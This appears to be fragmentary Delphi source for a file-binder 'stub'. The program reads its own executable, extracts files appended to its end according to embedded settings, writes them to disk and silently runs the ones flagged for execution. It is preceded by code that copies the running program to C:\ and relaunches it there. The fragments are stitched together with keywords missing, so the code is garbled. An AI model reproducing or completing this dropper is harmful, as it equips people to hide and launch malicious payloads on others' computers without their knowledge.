function WindowsCopyFile(FromFile, ToDir : string) : boolean;

var F : TShFileOpStruct;

  F.Wnd := 0; F.wFunc := FO_COPY;

  FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);

  ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);

  F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;

  result:=ShFileOperation(F) = 0;

end;

if not WindowsCopyFile(GetCurrentDir+'\Unit1.pas', 'C:\') then

   ShowMessage('Проверьте путь к каталогу...');

CopyFile(PChar(Paramstr(0)), PChar('c:\' + extractFilename(paramstr(0))), True);

shellexecute(0, 'Open', PChar(extractFilename(paramstr(0))), '/runasis', 'c:\', sw_restore);

program stub;

 

 

  windows,

  shellAPI;

 

 function StrToInt(S: string): integer;

 begin Val(S, Result, Result); end;

 

 

procedure ReadFileStr(Fname:string;var FullContents:string);

 Fcontents:File of Char;

 Fbuffer:array [1..1024] of Char;

 rLen,Fsize:LongInt;

 FullContents:='';

 {$I-} (* ignore IO errors .. just quietly exit *)

 AssignFile(Fcontents,Fname);

 Reset(Fcontents);

 Fsize:=FileSize(Fcontents);

 while not Eof(Fcontents) do begin

  BlockRead(Fcontents,Fbuffer,1024,rLen);

  FullContents:=FullContents + string(Fbuffer);

 end;

 CloseFile(Fcontents);

 {$I+}

 if Length(FullContents) > Fsize then

  FullContents:=Copy(FullContents,1,Fsize);

end;

 

 fcontent, settings, fname, fset : String;

 i, fsize : integer;

 exec : boolean;

 f : textfile;

 

 

  (* copy the file, read it into a string, delete the copy *)

  CopyFile( PChar(paramstr(0)), Pchar(paramstr(0)+'_'), false );

  ReadFileStr( paramstr(0)+'_', fcontent );

  DeleteFile( PChar(paramstr(0)+'_') );

  (* reset our variables *)

  i := length(fcontent);

  Settings := '';

  (* extract the settings *)

  While (i>0) AND (fcontent[i] <> #00) DO begin

   Settings := fcontent[i] + settings;

   i := i-1;

  end;

  (* if there are no settings then close the program *)

  IF settings = '' THEN halt;

  (* remove the settings from our file string *)

  Delete( fcontent, i, length(settings) );

  (* read the settings and start extracting the files 1x1 *)

  while pos(#01, settings) > 0 DO begin

   (* load the first settings form the settings buffer *)

   fset := copy( settings,1,pos(#01,settings)-1 );

   (* remove the exctrated part from the settings buffer *)

   delete( settings,1,pos(#01,settings) );

   (* filename is the first thing, with a 1 or 0 as the last character

   fname := copy( fset,1,pos(#02,fset)-2 );

   (* if the last char of the filename is 1 then execute, if its 0 then don't *)

   exec := ( copy( fset,pos(#02,fset)-1,1) = '1');

   (* delete the filename part form the settings part *)

   delete( fset,1,pos(#02,fset) );

   (* all we're left with now is hte file size *)

   fsize := strtoint( fset );

   (* create our file *)

   {$I-}

   AssignFile( F , fname );

   Rewrite(f);

   (* add the files contents *)

   write( f, copy(fcontent,length(fcontent)-fsize,fsize) );

   CloseFile(F);

   {$I+}

   (* remove the content from the end of our file buffer *)

   delete( fcontent, length(fcontent)-fsize, fsize );

   (* execute if requested *)

   IF exec THEN shellexecute( 0 , nil , Pchar(fname) , nil , nil , 1 );

   (* and carry on intil we have extracted all files *)

  end;

  (* thats it .. we're done .. now lets exit *)

end.